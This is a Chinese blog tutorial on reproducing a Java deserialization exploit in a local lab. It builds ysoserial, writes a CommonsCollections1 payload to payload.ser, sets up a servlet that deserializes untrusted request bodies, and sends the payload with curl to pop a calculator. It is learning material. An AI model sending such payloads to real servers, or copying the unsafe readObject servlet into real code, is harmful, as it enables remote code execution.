Java反序列化漏洞之使用Ysoserial(6)
2023-06-15 17:11:36 # Web Security # Java Deserialization

前言

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload; 由于其中部分payload使用到的低版本JDK中的类,所以建议自己私下分析学习时使用低版本JDK,JDK版本建议在1.7u21以下

YsoSerial环境搭建

首先下载ysoserialgit clone https://github.com/frohoff/ysoserial.git

用IDEA加载后,打开pom.xml文件,打开后Maven会自动下载对应的依赖,但有些依赖无法下载成功。

1
mvn install:install-file -DgroupId=依赖的groupId -DartifactId=依赖的artifactId -Dversion=依赖的版本 -Dpackaging=jar -Dfile=你下载的jar包的路径

IDEA里JDK配置成1.7

运行GeneratePayload.java,出现以下信息表示YsoSerial环境搭建成功

image-20210906180526562

使用YSoSerial生成序列化字符

在之前的图中,我们可以看到它的使用方法

Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'

此处我们使用IDEA运行程序,所以可以省略前面的 java -jar ysoserial-[version]-all.jar

在配置中写入arguments - Windows环境下运行计算器calc

image-20210907140711586

即可生成以下序列化字符串(payload)

image-20210906181130800

但该payload无法直接复制,所以我们想办法用writeObject()将他写成二进制文件(在Java反序列化漏洞之Java反序列化流程与分析(3)中学习过)。

GeneratePayload中有以下代码:

1
2
3
4
5
6
7
8
9
10
11
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;//system out
Serializer.serialize(object, out);//将序列化payload打出来
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}

我们跟进serialize()方法,发现是在SerializerClass中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);

//for saving in the file.
//将payload写到文件

FileOutputStream fileOutputStream = new FileOutputStream("payload.ser");
ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
fileOutputStream.flush();
fileOutputStream.close();
objectOutputStream.flush();
objectOutputStream.close();

}

payload保存到文件成功。

image-20210906224304869

WebServer环境搭建

配置环境:java1.7,commoncollections3.1.jar

首先Java中新建Maven项目

在Project Structure中导入Web框架

image-20210906231359407

在main文件夹下创建一个Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;

public class MainServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ServletInputStream servletInputStream = req.getInputStream();//相当于之前的FileInputStream,不过数据现在是来源于ServletInputStream而不是从文件读取了
ObjectInputStream objectInputStream = new ObjectInputStream(servletInputStream);//从ServletInputStream中读取ObjectStream
try {
objectInputStream.readObject();//读入object
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
objectInputStream.close();
}
}

如果出现servlet找不到的情况,按提示下载即可

image-20210906232006712

设置Router:访问/test的时候交给MainServlet处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>MainServlet</servlet-name>
<servlet-class>MainServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MainServlet</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>

为了复现commoncollections1, jdk版本需要为1.7,且需导入commons-collections-3.1.jar

image-20210906233044231

同时在artifact处需要导入commons collections,否则漏洞复现时会提示找不到库。

image-20210907135825600

若出现Error:java: invalid source release: 8这样的错误,可检查下面几处设置中sdk是否为统一的版本(此处应为1.7)

  • File -> Project Structure -> Project Settings
  • File -> Project Structure -> Module Settings -> Tab: Sources: Language Level
  • File -> Project Structure -> Module Settings -> Tab: Dependencies: Module SDK
  • File -> Settings -> Compiler -> Java Compiler -> Target bytecode version

运行如下图

image-20210907113720745

攻击实现

现在,已知我们搭建的网站是有反序列化漏洞的,我们用curl发送我们之前生成的序列化二进制文件

curl http://localhost:9090/webTest1_Web_exploded/test --data-binary @payload.ser

注意 : 通过 Curl 发送二进制文件时 , 需要在文件路径前加上 @ 符号 , 此时文件中所有的回车符和换行符都将被自动转换 .

image-20210907135903851

计算器被成功执行!

Reference

Error:java: invalid source release: 8 in Intellij. What does it mean?

Java 反序列化漏洞(5) – 解密 YSoSerial : Java动态代理机制